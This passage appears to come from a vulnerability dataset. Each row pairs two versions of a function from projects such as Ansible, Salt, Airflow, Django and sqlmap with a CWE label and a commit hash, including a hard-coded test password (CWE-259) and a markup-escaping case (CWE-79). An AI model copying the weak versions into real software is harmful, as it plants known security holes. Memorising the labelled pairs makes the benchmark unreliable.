        # TODO: eventually remove this block as this should be a 'consequence' of 'forced_local' modules
        # special handling for python interpreter for network_os, default to ansible python unless overridden
        if 'ansible_network_os' in cvars and 'ansible_python_interpreter' not in cvars:
            # this also avoids 'python discovery'
            cvars['ansible_python_interpreter'] = sys.executable

        # get handler
        self._handler, module_context = self._get_action_handler_with_module_context(connection=self._connection, templar=templar)

        if module_context is not None:
            module_defaults_fqcn = module_context.resolved_fqcn
        else:
            module_defaults_fqcn = self._task.resolved_action

        # Apply default params for action/module, if present
        self._task.args = get_action_args_with_defaults(
            module_defaults_fqcn, self._task.args, self._task.module_defaults, templar,
            action_groups=self._task._parent._play._action_groups
        )

        # And filter out any fields which were set to default(omit), and got the omit token value
        omit_token = variables.get('omit')
        if omit_token is not None:
            self._task.args = remove_omit(self._task.args, omit_token)

        # Read some values from the task, so that we can modify them if need be
        if self._task.until:
            retries = self._task.retries
            if retries is None:
                retries = 3
            elif retries <= 0:
                retries = 1
            else:
                retries += 1
        else:
            retries = 1

        delay = self._task.delay
        if delay < 0:
            delay = 1

        display.debug(""starting attempt loop"")
        result = None
        for attempt in range(1, retries + 1):
            display.debug(""running the handler"")
            try:
                if self._task.timeout:
                    old_sig = signal.signal(signal.SIGALRM, task_timeout)
                    signal.alarm(self._task.timeout)
                result = self._handler.run(task_vars=vars_copy)
            except (AnsibleActionFail, AnsibleActionSkip) as e:
                return e.result
            except AnsibleConnectionFailure as e:
                return dict(unreachable=True, msg=to_text(e))
            except TaskTimeoutError as e:
                msg = 'The %s action failed to execute in the expected time frame (%d) and was terminated' % (self._task.action, self._task.timeout)
                return dict(failed=True, msg=msg)
            finally:
                if self._task.timeout:
                    signal.alarm(0)
                    old_sig = signal.signal(signal.SIGALRM, old_sig)
                self._handler.cleanup()
            display.debug(""handler run complete"")

            # preserve no log
            result[""_ansible_no_log""] = no_log

            if self._task.action not in C._ACTION_WITH_CLEAN_FACTS:
                result = wrap_var(result)

            # update the local copy of vars with the registered value, if specified,
            # or any facts which may have been generated by the module execution
            if self._task.register:
                if not isidentifier(self._task.register):
                    raise AnsibleError(""Invalid variable name in 'register' specified: '%s'"" % self._task.register)

                vars_copy[self._task.register] = result

            if self._task.async_val > 0:
                if self._task.poll > 0 and not result.get('skipped') and not result.get('failed'):
                    result = self._poll_async_result(result=result, templar=templar, task_vars=vars_copy)
                    if result.get('failed'):
                        self._final_q.send_callback(
                            'v2_runner_on_async_failed',
                            TaskResult(self._host.name,
                                       self._task._uuid,
                                       result,
                                       task_fields=self._task.dump_attrs()))
                    else:
                        self._final_q.send_callback(
                            'v2_runner_on_async_ok',
                            TaskResult(self._host.name,
                                       self._task._uuid,
                                       result,
                                       task_fields=self._task.dump_attrs()))

                # ensure no log is preserved
                result[""_ansible_no_log""] = no_log

            # helper methods for use below in evaluating changed/failed_when
            def _evaluate_changed_when_result(result):
                if self._task.changed_when is not None and self._task.changed_when:
                    cond = Conditional(loader=self._loader)
                    cond.when = self._task.changed_when
                    result['changed'] = cond.evaluate_conditional(templar, vars_copy)

            def _evaluate_failed_when_result(result):
                if self._task.failed_when:
                    cond = Conditional(loader=self._loader)
                    cond.when = self._task.failed_when
                    failed_when_result = cond.evaluate_conditional(templar, vars_copy)
                    result['failed_when_result'] = result['failed'] = failed_when_result
                else:
                    failed_when_result = False
                return failed_when_result

            if 'ansible_facts' in result and self._task.action not in C._ACTION_DEBUG:
                if self._task.action in C._ACTION_WITH_CLEAN_FACTS:
                    if self._task.delegate_to and self._task.delegate_facts:
                        if '_ansible_delegated_vars' in vars_copy:
                            vars_copy['_ansible_delegated_vars'].update(result['ansible_facts'])
                        else:
                            vars_copy['_ansible_delegated_vars'] = result['ansible_facts']
                    else:
                        vars_copy.update(result['ansible_facts'])
                else:
                    # TODO: cleaning of facts should eventually become part of taskresults instead of vars
                    af = wrap_var(result['ansible_facts'])
                    vars_copy['ansible_facts'] = combine_vars(vars_copy.get('ansible_facts', {}), namespace_facts(af))
                    if C.INJECT_FACTS_AS_VARS:
                        vars_copy.update(clean_facts(af))

            # set the failed property if it was missing.
            if 'failed' not in result:
                # rc is here for backwards compatibility and modules that use it instead of 'failed'
                if 'rc' in result and result['rc'] not in [0, ""0""]:
                    result['failed'] = True
                else:
                    result['failed'] = False

            # Make attempts and retries available early to allow their use in changed/failed_when
            if self._task.until:
                result['attempts'] = attempt

            # set the changed property if it was missing.
            if 'changed' not in result:
                result['changed'] = False

            if self._task.action not in C._ACTION_WITH_CLEAN_FACTS:
                result = wrap_var(result)

            # re-update the local copy of vars with the registered value, if specified,
            # or any facts which may have been generated by the module execution
            # This gives changed/failed_when access to additional recently modified
            # attributes of result
            if self._task.register:
                vars_copy[self._task.register] = result

            # if we didn't skip this task, use the helpers to evaluate the changed/
            # failed_when properties
            if 'skipped' not in result:
                condname = 'changed'

                try:
                    _evaluate_changed_when_result(result)
                    condname = 'failed'
                    _evaluate_failed_when_result(result)
                except AnsibleError as e:
                    result['failed'] = True
                    result['%s_when_result' % condname] = to_text(e)

            if retries > 1:
                cond = Conditional(loader=self._loader)
                cond.when = self._task.until
                if cond.evaluate_conditional(templar, vars_copy):
                    break
                else:
                    # no conditional check, or it failed, so sleep for the specified time
                    if attempt < retries:
                        result['_ansible_retry'] = True
                        result['retries'] = retries
                        display.debug('Retrying task, attempt %d of %d' % (attempt, retries))
                        self._final_q.send_callback(
                            'v2_runner_retry',
                            TaskResult(
                                self._host.name,
                                self._task._uuid,
                                result,
                                task_fields=self._task.dump_attrs()
                            )
                        )
                        time.sleep(delay)
                        self._handler = self._get_action_handler(connection=self._connection, templar=templar)
        else:
            if retries > 1:
                # we ran out of attempts, so mark the result as failed
                result['attempts'] = retries - 1
                result['failed'] = True

        if self._task.action not in C._ACTION_WITH_CLEAN_FACTS:
            result = wrap_var(result)

        # do the final update of the local variables here, for both registered
        # values and any facts which may have been created
        if self._task.register:
            variables[self._task.register] = result

        if 'ansible_facts' in result and self._task.action not in C._ACTION_DEBUG:
            if self._task.action in C._ACTION_WITH_CLEAN_FACTS:
                variables.update(result['ansible_facts'])
            else:
                # TODO: cleaning of facts should eventually become part of taskresults instead of vars
                af = wrap_var(result['ansible_facts'])
                variables['ansible_facts'] = combine_vars(variables.get('ansible_facts', {}), namespace_facts(af))
                if C.INJECT_FACTS_AS_VARS:
                    variables.update(clean_facts(af))

        # save the notification target in the result, if it was specified, as
        # this task may be running in a loop in which case the notification
        # may be item-specific, ie. ""notify: service {{item}}""
        if self._task.notify is not None:
            result['_ansible_notify'] = self._task.notify

        # add the delegated vars to the result, so we can reference them
        # on the results side without having to do any further templating
        # also now add connection vars results when delegating
        if self._task.delegate_to:
            result[""_ansible_delegated_vars""] = {'ansible_delegated_host': self._task.delegate_to}
            for k in plugin_vars:
                result[""_ansible_delegated_vars""][k] = cvars.get(k)

            # note: here for callbacks that rely on this info to display delegation
            for requireshed in ('ansible_host', 'ansible_port', 'ansible_user', 'ansible_connection'):
                if requireshed not in result[""_ansible_delegated_vars""] and requireshed in cvars:
                    result[""_ansible_delegated_vars""][requireshed] = cvars.get(requireshed)

        # and return
        display.debug(""attempt loop complete, returning result"")
        return result",,ansible/ansible,1e6b8249e7755ef76baf27c2ebd5f0d05ef322cc,"def _execute(self, variables=None):
        '''
        The primary workhorse of the executor system, this runs the task
        on the specified host (which may be the delegated_to host) and handles
        the retry/until and block rescue/always execution
        '''

        if variables is None:
            variables = self._job_vars

        templar = Templar(loader=self._loader, variables=variables)

        context_validation_error = None

        # a certain subset of variables exist.
        tempvars = variables.copy()

        try:
            # TODO: remove play_context as this does not take delegation nor loops correctly into account,
            # the task itself should hold the correct values for connection/shell/become/terminal plugin options to finalize.
            #  Kept for now for backwards compatibility and a few functions that are still exclusive to it.

            # apply the given task's information to the connection info,
            # which may override some fields already set by the play or
            # the options specified on the command line
            self._play_context = self._play_context.set_task_and_variable_override(task=self._task, variables=variables, templar=templar)

            # fields set from the play/task may be based on variables, so we have to
            # do the same kind of post validation step on it here before we use it.
            self._play_context.post_validate(templar=templar)

            # now that the play context is finalized, if the remote_addr is not set
            # default to using the host's address field as the remote address
            if not self._play_context.remote_addr:
                self._play_context.remote_addr = self._host.address

            # We also add ""magic"" variables back into the variables dict to make sure
            self._play_context.update_vars(tempvars)

        except AnsibleError as e:
            # save the error, which we'll raise later if we don't end up
            # skipping this task during the conditional evaluation step
            context_validation_error = e

        no_log = self._play_context.no_log

        # Evaluate the conditional (if any) for this task, which we do before running
        # the final task post-validation. We do this before the post validation due to
        # the fact that the conditional may specify that the task be skipped due to a
        # variable not being present which would otherwise cause validation to fail
        try:
            if not self._task.evaluate_conditional(templar, tempvars):
                display.debug(""when evaluation is False, skipping this task"")
                return dict(changed=False, skipped=True, skip_reason='Conditional result was False', _ansible_no_log=no_log)
        except AnsibleError as e:
            # loop error takes precedence
            if self._loop_eval_error is not None:
                # Display the error from the conditional as well to prevent
                # losing information useful for debugging.
                display.v(to_text(e))
                raise self._loop_eval_error  # pylint: disable=raising-bad-type
            raise

        # Not skipping, if we had loop error raised earlier we need to raise it now to halt the execution of this task
        if self._loop_eval_error is not None:
            raise self._loop_eval_error  # pylint: disable=raising-bad-type

        # if we ran into an error while setting up the PlayContext, raise it now, unless is known issue with delegation
        # and undefined vars (correct values are in cvars later on and connection plugins, if still error, blows up there)
        if context_validation_error is not None:
            raiseit = True
            if self._task.delegate_to:
                if isinstance(context_validation_error, AnsibleUndefinedVariable):
                    raiseit = False
                elif isinstance(context_validation_error, AnsibleParserError):
                    # parser error, might be cause by undef too
                    orig_exc = getattr(context_validation_error, 'orig_exc', None)
                    if isinstance(orig_exc, AnsibleUndefinedVariable):
                        raiseit = False
            if raiseit:
                raise context_validation_error  # pylint: disable=raising-bad-type

        # set templar to use temp variables until loop is evaluated
        templar.available_variables = tempvars

        # if this task is a TaskInclude, we just return now with a success code so the
        # main thread can expand the task list for the given host
        if self._task.action in C._ACTION_ALL_INCLUDE_TASKS:
            include_args = self._task.args.copy()
            include_file = include_args.pop('_raw_params', None)
            if not include_file:
                return dict(failed=True, msg=""No include file was specified to the include"")

            include_file = templar.template(include_file)
            return dict(include=include_file, include_args=include_args)

        # if this task is a IncludeRole, we just return now with a success code so the main thread can expand the task list for the given host
        elif self._task.action in C._ACTION_INCLUDE_ROLE:
            include_args = self._task.args.copy()
            return dict(include_args=include_args)

        # Now we do final validation on the task, which sets all fields to their final values.
        try:
            self._task.post_validate(templar=templar)
        except AnsibleError:
            raise
        except Exception:
            return dict(changed=False, failed=True, _ansible_no_log=no_log, exception=to_text(traceback.format_exc()))
        if '_variable_params' in self._task.args:
            variable_params = self._task.args.pop('_variable_params')
            if isinstance(variable_params, dict):
                if C.INJECT_FACTS_AS_VARS:
                    display.warning(""Using a variable for a task's 'args' is unsafe in some situations ""
                                    ""(see https://docs.ansible.com/ansible/devel/reference_appendices/faq.html#argsplat-unsafe)"")
                variable_params.update(self._task.args)
                self._task.args = variable_params
            else:
                # if we didn't get a dict, it means there's garbage remaining after k=v parsing, just give up
                # see https://github.com/ansible/ansible/issues/79862
                raise AnsibleError(f""invalid or malformed argument: '{variable_params}'"")

        # update no_log to task value, now that we have it templated
        no_log = self._task.no_log

        # free tempvars up, not used anymore, cvars and vars_copy should be mainly used after this point
        # updating the original 'variables' at the end
        tempvars = {}

        # setup cvars copy, used for all connection related templating
        if self._task.delegate_to:
            # use vars from delegated host (which already include task vars) instead of original host
            cvars = variables.get('ansible_delegated_vars', {}).get(self._task.delegate_to, {})
        else:
            # just use normal host vars
            cvars = variables

        templar.available_variables = cvars

        # use magic var if it exists, if not, let task inheritance do it's thing.
        if cvars.get('ansible_connection') is not None:
            current_connection = templar.template(cvars['ansible_connection'])
        else:
            current_connection = self._task.connection

        # get the connection and the handler for this execution
        if (not self._connection or
                not getattr(self._connection, 'connected', False) or
                not self._connection.matches_name([current_connection]) or
                # pc compare, left here for old plugins, but should be irrelevant for those
                # using get_option, since they are cleared each iteration.
                self._play_context.remote_addr != self._connection._play_context.remote_addr):
            self._connection = self._get_connection(cvars, templar, current_connection)
        else:
            # if connection is reused, its _play_context is no longer valid and needs
            # to be replaced with the one templated above, in case other data changed
            self._connection._play_context = self._play_context
            self._set_become_plugin(cvars, templar, self._connection)

        plugin_vars = self._set_connection_options(cvars, templar)

        # make a copy of the job vars here, as we update them here and later,
        # but don't want to pollute original
        vars_copy = variables.copy()
        # update with connection info (i.e ansible_host/ansible_user)
        self._connection.update_vars(vars_copy)
        templar.available_variables = vars_copy

        # TODO: eventually remove as pc is taken out of the resolution path
        # feed back into pc to ensure plugins not using get_option can get correct value
        self._connection._play_context = self._play_context.set_task_and_variable_override(task=self._task, variables=vars_copy, templar=templar)

        # for persistent connections, initialize socket path and start connection manager
        if any(((self._connection.supports_persistence and C.USE_PERSISTENT_CONNECTIONS), self._connection.force_persistence)):
            self._play_context.timeout = self._connection.get_option('persistent_command_timeout')
            display.vvvv('attempting to start connection', host=self._play_context.remote_addr)
            display.vvvv('using connection plugin %s' % self._connection.transport, host=self._play_context.remote_addr)

            options = self._connection.get_options()
            socket_path = start_connection(self._play_context, options, self._task._uuid)
            display.vvvv('local domain socket path is %s' % socket_path, host=self._play_context.remote_addr)
            setattr(self._connection, '_socket_path', socket_path)

        # TODO: eventually remove this block as this should be a 'consequence' of 'forced_local' modules
        # special handling for python interpreter for network_os, default to ansible python unless overridden
        if 'ansible_network_os' in cvars and 'ansible_python_interpreter' not in cvars:
            # this also avoids 'python discovery'
            cvars['ansible_python_interpreter'] = sys.executable

        # get handler
        self._handler, module_context = self._get_action_handler_with_module_context(connection=self._connection, templar=templar)

        if module_context is not None:
            module_defaults_fqcn = module_context.resolved_fqcn
        else:
            module_defaults_fqcn = self._task.resolved_action

        # Apply default params for action/module, if present
        self._task.args = get_action_args_with_defaults(
            module_defaults_fqcn, self._task.args, self._task.module_defaults, templar,
            action_groups=self._task._parent._play._action_groups
        )

        # And filter out any fields which were set to default(omit), and got the omit token value
        omit_token = variables.get('omit')
        if omit_token is not None:
            self._task.args = remove_omit(self._task.args, omit_token)

        # Read some values from the task, so that we can modify them if need be
        if self._task.until:
            retries = self._task.retries
            if retries is None:
                retries = 3
            elif retries <= 0:
                retries = 1
            else:
                retries += 1
        else:
            retries = 1

        delay = self._task.delay
        if delay < 0:
            delay = 1

        display.debug(""starting attempt loop"")
        result = None
        for attempt in range(1, retries + 1):
            display.debug(""running the handler"")
            try:
                if self._task.timeout:
                    old_sig = signal.signal(signal.SIGALRM, task_timeout)
                    signal.alarm(self._task.timeout)
                result = self._handler.run(task_vars=vars_copy)
            except (AnsibleActionFail, AnsibleActionSkip) as e:
                return e.result
            except AnsibleConnectionFailure as e:
                return dict(unreachable=True, msg=to_text(e))
            except TaskTimeoutError as e:
                msg = 'The %s action failed to execute in the expected time frame (%d) and was terminated' % (self._task.action, self._task.timeout)
                return dict(failed=True, msg=msg)
            finally:
                if self._task.timeout:
                    signal.alarm(0)
                    old_sig = signal.signal(signal.SIGALRM, old_sig)
                self._handler.cleanup()
            display.debug(""handler run complete"")

            # preserve no log
            result[""_ansible_no_log""] = no_log

            if self._task.action not in C._ACTION_WITH_CLEAN_FACTS:
                result = wrap_var(result)

            # update the local copy of vars with the registered value, if specified,
            # or any facts which may have been generated by the module execution
            if self._task.register:
                if not isidentifier(self._task.register):
                    raise AnsibleError(""Invalid variable name in 'register' specified: '%s'"" % self._task.register)

                vars_copy[self._task.register] = result

            if self._task.async_val > 0:
                if self._task.poll > 0 and not result.get('skipped') and not result.get('failed'):
                    result = self._poll_async_result(result=result, templar=templar, task_vars=vars_copy)
                    if result.get('failed'):
                        self._final_q.send_callback(
                            'v2_runner_on_async_failed',
                            TaskResult(self._host.name,
                                       self._task._uuid,
                                       result,
                                       task_fields=self._task.dump_attrs()))
                    else:
                        self._final_q.send_callback(
                            'v2_runner_on_async_ok',
                            TaskResult(self._host.name,
                                       self._task._uuid,
                                       result,
                                       task_fields=self._task.dump_attrs()))

                # ensure no log is preserved
                result[""_ansible_no_log""] = no_log

            # helper methods for use below in evaluating changed/failed_when
            def _evaluate_changed_when_result(result):
                if self._task.changed_when is not None and self._task.changed_when:
                    cond = Conditional(loader=self._loader)
                    cond.when = self._task.changed_when
                    result['changed'] = cond.evaluate_conditional(templar, vars_copy)

            def _evaluate_failed_when_result(result):
                if self._task.failed_when:
                    cond = Conditional(loader=self._loader)
                    cond.when = self._task.failed_when
                    failed_when_result = cond.evaluate_conditional(templar, vars_copy)
                    result['failed_when_result'] = result['failed'] = failed_when_result
                else:
                    failed_when_result = False
                return failed_when_result

            if 'ansible_facts' in result and self._task.action not in C._ACTION_DEBUG:
                if self._task.action in C._ACTION_WITH_CLEAN_FACTS:
                    if self._task.delegate_to and self._task.delegate_facts:
                        if '_ansible_delegated_vars' in vars_copy:
                            vars_copy['_ansible_delegated_vars'].update(result['ansible_facts'])
                        else:
                            vars_copy['_ansible_delegated_vars'] = result['ansible_facts']
                    else:
                        vars_copy.update(result['ansible_facts'])
                else:
                    # TODO: cleaning of facts should eventually become part of taskresults instead of vars
                    af = wrap_var(result['ansible_facts'])
                    vars_copy['ansible_facts'] = combine_vars(vars_copy.get('ansible_facts', {}), namespace_facts(af))
                    if C.INJECT_FACTS_AS_VARS:
                        vars_copy.update(clean_facts(af))

            # set the failed property if it was missing.
            if 'failed' not in result:
                # rc is here for backwards compatibility and modules that use it instead of 'failed'
                if 'rc' in result and result['rc'] not in [0, ""0""]:
                    result['failed'] = True
                else:
                    result['failed'] = False

            # Make attempts and retries available early to allow their use in changed/failed_when
            if self._task.until:
                result['attempts'] = attempt

            # set the changed property if it was missing.
            if 'changed' not in result:
                result['changed'] = False

            if self._task.action not in C._ACTION_WITH_CLEAN_FACTS:
                result = wrap_var(result)

            # re-update the local copy of vars with the registered value, if specified,
            # or any facts which may have been generated by the module execution
            # This gives changed/failed_when access to additional recently modified
            # attributes of result
            if self._task.register:
                vars_copy[self._task.register] = result

            # if we didn't skip this task, use the helpers to evaluate the changed/
            # failed_when properties
            if 'skipped' not in result:
                condname = 'changed'

                try:
                    _evaluate_changed_when_result(result)
                    condname = 'failed'
                    _evaluate_failed_when_result(result)
                except AnsibleError as e:
                    result['failed'] = True
                    result['%s_when_result' % condname] = to_text(e)

            if retries > 1:
                cond = Conditional(loader=self._loader)
                cond.when = self._task.until
                if cond.evaluate_conditional(templar, vars_copy):
                    break
                else:
                    # no conditional check, or it failed, so sleep for the specified time
                    if attempt < retries:
                        result['_ansible_retry'] = True
                        result['retries'] = retries
                        display.debug('Retrying task, attempt %d of %d' % (attempt, retries))
                        self._final_q.send_callback(
                            'v2_runner_retry',
                            TaskResult(
                                self._host.name,
                                self._task._uuid,
                                result,
                                task_fields=self._task.dump_attrs()
                            )
                        )
                        time.sleep(delay)
                        self._handler = self._get_action_handler(connection=self._connection, templar=templar)
        else:
            if retries > 1:
                # we ran out of attempts, so mark the result as failed
                result['attempts'] = retries - 1
                result['failed'] = True

        if self._task.action not in C._ACTION_WITH_CLEAN_FACTS:
            result = wrap_var(result)

        # do the final update of the local variables here, for both registered
        # values and any facts which may have been created
        if self._task.register:
            variables[self._task.register] = result

        if 'ansible_facts' in result and self._task.action not in C._ACTION_DEBUG:
            if self._task.action in C._ACTION_WITH_CLEAN_FACTS:
                variables.update(result['ansible_facts'])
            else:
                # TODO: cleaning of facts should eventually become part of taskresults instead of vars
                af = wrap_var(result['ansible_facts'])
                variables['ansible_facts'] = combine_vars(variables.get('ansible_facts', {}), namespace_facts(af))
                if C.INJECT_FACTS_AS_VARS:
                    variables.update(clean_facts(af))

        # save the notification target in the result, if it was specified, as
        # this task may be running in a loop in which case the notification
        # may be item-specific, ie. ""notify: service {{item}}""
        if self._task.notify is not None:
            result['_ansible_notify'] = self._task.notify

        # add the delegated vars to the result, so we can reference them
        # on the results side without having to do any further templating
        # also now add connection vars results when delegating
        if self._task.delegate_to:
            result[""_ansible_delegated_vars""] = {'ansible_delegated_host': self._task.delegate_to}
            for k in plugin_vars:
                result[""_ansible_delegated_vars""][k] = cvars.get(k)

            # note: here for callbacks that rely on this info to display delegation
            for requireshed in ('ansible_host', 'ansible_port', 'ansible_user', 'ansible_connection'):
                if requireshed not in result[""_ansible_delegated_vars""] and requireshed in cvars:
                    result[""_ansible_delegated_vars""][requireshed] = cvars.get(requireshed)

        # and return
        display.debug(""attempt loop complete, returning result"")
        return result"
,UNKNOWN,UNKNOWN,tests/integration/scheduler/test_skip.py,1,"def test_skip(self):
        '''
        verify that scheduled job is skipped at the specified time
        '''
        job = {
          'schedule': {
            'job1': {
              'function': 'test.ping',
              'when': ['11/29/2017 4pm', '11/29/2017 5pm'],
            }
          }
        }

        # Add job to schedule
        self.schedule.opts['schedule'] = {}
        self.schedule.opts.update(job)

        run_time = dateutil_parser.parse('11/29/2017 4:00pm')
        self.schedule.skip_job('job1', {'time': run_time.strftime('%Y-%m-%dT%H:%M:%S'),
                                        'time_fmt': '%Y-%m-%dT%H:%M:%S'})

        # Run 11/29/2017 at 4pm
        self.schedule.eval(now=run_time)
        ret = self.schedule.job_status('job1')
        self.assertNotIn('_last_run', ret)
        self.assertEqual(ret['_skip_reason'], 'skip_explicit')
        self.assertEqual(ret['_skipped_time'], run_time)

        # Run 11/29/2017 at 5pm
        run_time = dateutil_parser.parse('11/29/2017 5:00pm')
        self.schedule.eval(now=run_time)
        ret = self.schedule.job_status('job1')
        self.assertEqual(ret['_last_run'], run_time)",CWE-94,saltstack/salt,29fea7c550a581e07394ad24aca4726dd18d36de,"def test_skip(self):
        '''
        verify that scheduled job is skipped at the specified time
        '''
        job = {
          'schedule': {
            'job1': {
              'function': 'test.ping',
              'when': ['11/29/2017 4pm', '11/29/2017 5pm'],
            }
          }
        }

        # Add job to schedule
        self.schedule.opts['schedule'] = {}
        self.schedule.opts.update(job)

        run_time = dateutil_parser.parse('11/29/2017 4:00pm')
        self.schedule.skip_job('job1', {'time': run_time.strftime('%Y-%m-%dT%H:%M:%S')})

        # Run 11/29/2017 at 4pm
        self.schedule.eval(now=run_time)
        ret = self.schedule.job_status('job1')
        self.assertNotIn('_last_run', ret)
        self.assertEqual(ret['_skip_reason'], 'skip_explicit')
        self.assertEqual(ret['_skipped_time'], run_time)

        # Run 11/29/2017 at 5pm
        run_time = dateutil_parser.parse('11/29/2017 5:00pm')
        self.schedule.eval(now=run_time)
        ret = self.schedule.job_status('job1')
        self.assertEqual(ret['_last_run'], run_time)"
,UNKNOWN,UNKNOWN,tests/providers/opsgenie/hooks/test_opsgenie_alert.py,1,"def setUp(self):
        db.merge_conn(
            Connection(
                conn_id=self.conn_id,
                conn_type='http',
                host='https://api.opsgenie.com/',
                password='eb243592-faa2-4ba2-a551q-1afdf565c889'
            )
        )",CWE-259,apache/airflow,cf5ab1d80dd78086b31dfc9aec848f8ecaffea1e,"def setUp(self):
        db.merge_conn(
            Connection(
                conn_id=self.conn_id,
                host='https://api.opsgenie.com/',
                password='eb243592-faa2-4ba2-a551q-1afdf565c889'
            )
        )"
,UNKNOWN,UNKNOWN,django/contrib/admin/options.py,1,"def delete_selected(self, request, queryset):
        """"""
        Default action which deletes the selected objects.

        In the first step, it displays a confirmation page whichs shows all
        the deleteable objects or, if the user has no permission one of the
        related childs (foreignkeys) it displays a ""permission denied"" message.

        In the second step delete all selected objects and display the change
        list again.
        """"""
        opts = self.model._meta
        app_label = opts.app_label

        # Check that the user has delete permission for the actual model
        if not self.has_delete_permission(request):
            raise PermissionDenied

        # Populate deletable_objects, a data structure of all related objects that
        # will also be deleted.

        # deletable_objects must be a list if we want to use '|unordered_list' in the template
        deletable_objects = []
        perms_needed = set()
        i = 0
        for obj in queryset:
            deletable_objects.append([mark_safe(u'%s: <a href=""%s/"">%s</a>' % (escape(force_unicode(capfirst(opts.verbose_name))), obj.pk, escape(obj))), []])
            get_deleted_objects(deletable_objects[i], perms_needed, request.user, obj, opts, 1, self.admin_site, levels_to_root=2)
            i=i+1

        # The user has already confirmed the deletion.
        # Do the deletion and return a None to display the change list view again.
        if request.POST.get('post'):
            if perms_needed:
                raise PermissionDenied
            n = queryset.count()
            if n:
                for obj in queryset:
                    obj_display = force_unicode(obj)
                    self.log_deletion(request, obj, obj_display)
                queryset.delete()
                self.message_user(request, _(""Successfully deleted %(count)d %(items)s."") % {
                    ""count"": n, ""items"": model_ngettext(self.opts, n)
                })
            # Return None to display the change list page again.
            return None

        context = {
            ""title"": _(""Are you sure?""),
            ""object_name"": force_unicode(opts.verbose_name),
            ""deletable_objects"": deletable_objects,
            'queryset': queryset,
            ""perms_lacking"": perms_needed,
            ""opts"": opts,
            ""root_path"": self.admin_site.root_path,
            ""app_label"": app_label,
            'action_checkbox_name': helpers.ACTION_CHECKBOX_NAME,
        }

        # Display the confirmation page
        return render_to_response(self.delete_confirmation_template or [
            ""admin/%s/%s/delete_selected_confirmation.html"" % (app_label, opts.object_name.lower()),
            ""admin/%s/delete_selected_confirmation.html"" % app_label,
            ""admin/delete_selected_confirmation.html""
        ], context, context_instance=template.RequestContext(request))",CWE-79,django/django,2dfdc2b01b9bdfe8fcff2706fef678b2186a6cdf,"def delete_selected(self, request, queryset):
        """"""
        Default action which deletes the selected objects.
        
        In the first step, it displays a confirmation page whichs shows all
        the deleteable objects or, if the user has no permission one of the
        related childs (foreignkeys) it displays a ""permission denied"" message.
        
        In the second step delete all selected objects and display the change
        list again.
        """"""
        opts = self.model._meta
        app_label = opts.app_label

        # Check that the user has delete permission for the actual model
        if not self.has_delete_permission(request):
            raise PermissionDenied

        # Populate deletable_objects, a data structure of all related objects that
        # will also be deleted.
        
        # deletable_objects must be a list if we want to use '|unordered_list' in the template
        deletable_objects = []
        perms_needed = set()
        i = 0
        for obj in queryset:
            deletable_objects.append([mark_safe(u'%s: <a href=""%s/"">%s</a>' % (escape(force_unicode(capfirst(opts.verbose_name))), obj.pk, escape(obj))), []])
            get_deleted_objects(deletable_objects[i], perms_needed, request.user, obj, opts, 1, self.admin_site, levels_to_root=2)
            i=i+1

        # The user has already confirmed the deletion.
        # Do the deletion and return a None to display the change list view again.
        if request.POST.get('post'):
            if perms_needed:
                raise PermissionDenied
            n = queryset.count()
            if n:
                for obj in queryset:
                    obj_display = force_unicode(obj)
                    self.log_deletion(request, obj, obj_display)
                queryset.delete()
                self.message_user(request, _(""Successfully deleted %d %s."") % (
                    n, model_ngettext(self.opts, n)
                ))
            # Return None to display the change list page again.
            return None

        context = {
            ""title"": _(""Are you sure?""),
            ""object_name"": force_unicode(opts.verbose_name),
            ""deletable_objects"": deletable_objects,
            'queryset': queryset,
            ""perms_lacking"": perms_needed,
            ""opts"": opts,
            ""root_path"": self.admin_site.root_path,
            ""app_label"": app_label,
            'action_checkbox_name': helpers.ACTION_CHECKBOX_NAME,
        }
        
        # Display the confirmation page
        return render_to_response(self.delete_confirmation_template or [
            ""admin/%s/%s/delete_selected_confirmation.html"" % (app_label, opts.object_name.lower()),
            ""admin/%s/delete_selected_confirmation.html"" % app_label,
            ""admin/delete_selected_confirmation.html""
        ], context, context_instance=template.RequestContext(request))"
,UNKNOWN,UNKNOWN,lib/request/connect.py,1,"def getPage(**kwargs):
        """"""
        This method connects to the target URL or proxy and returns
        the target URL page content
        """"""

        if conf.offline:
            return None, None, None

        url = kwargs.get(""url"", None) or conf.url
        get = kwargs.get(""get"", None)
        post = kwargs.get(""post"", None)
        method = kwargs.get(""method"", None)
        cookie = kwargs.get(""cookie"", None)
        ua = kwargs.get(""ua"", None) or conf.agent
        referer = kwargs.get(""referer"", None) or conf.referer
        host = kwargs.get(""host"", None) or conf.host
        direct_ = kwargs.get(""direct"", False)
        multipart = kwargs.get(""multipart"", None)
        silent = kwargs.get(""silent"", False)
        raise404 = kwargs.get(""raise404"", True)
        timeout = kwargs.get(""timeout"", None) or conf.timeout
        auxHeaders = kwargs.get(""auxHeaders"", None)
        response = kwargs.get(""response"", False)
        ignoreTimeout = kwargs.get(""ignoreTimeout"", False) or kb.ignoreTimeout or conf.ignoreTimeouts
        refreshing = kwargs.get(""refreshing"", False)
        retrying = kwargs.get(""retrying"", False)
        crawling = kwargs.get(""crawling"", False)
        checking = kwargs.get(""checking"", False)
        skipRead = kwargs.get(""skipRead"", False)
        finalCode = kwargs.get(""finalCode"", False)
        chunked = kwargs.get(""chunked"", False) or conf.chunked

        start = time.time()

        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)

        threadData = getCurrentThreadData()
        with kb.locks.request:
            kb.requestCounter += 1
            threadData.lastRequestUID = kb.requestCounter

            if conf.proxyFreq:
                if kb.requestCounter % conf.proxyFreq == 1:
                    conf.proxy = None

                    warnMsg = ""changing proxy""
                    logger.warn(warnMsg)

                    setHTTPHandlers()

        if conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
            if conf.murphyRate:
                time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))

            page, headers, code = randomStr(int(randomInt()), alphabet=[_unichr(_) for _ in xrange(256)]), None, None if not conf.murphyRate else randomInt(3)

            threadData.lastPage = page
            threadData.lastCode = code

            return page, headers, code

        if conf.liveCookies:
            with kb.locks.liveCookies:
                if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0:
                    warnMsg = ""[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)"" % (time.strftime(""%X""), conf.liveCookies, LIVE_COOKIES_TIMEOUT)
                    dataToStdout(warnMsg)

                    valid = False
                    for _ in xrange(LIVE_COOKIES_TIMEOUT):
                        if checkFile(conf.liveCookies, raiseOnError=False) and os.path.getsize(conf.liveCookies) > 0:
                            valid = True
                            break
                        else:
                            dataToStdout('.')
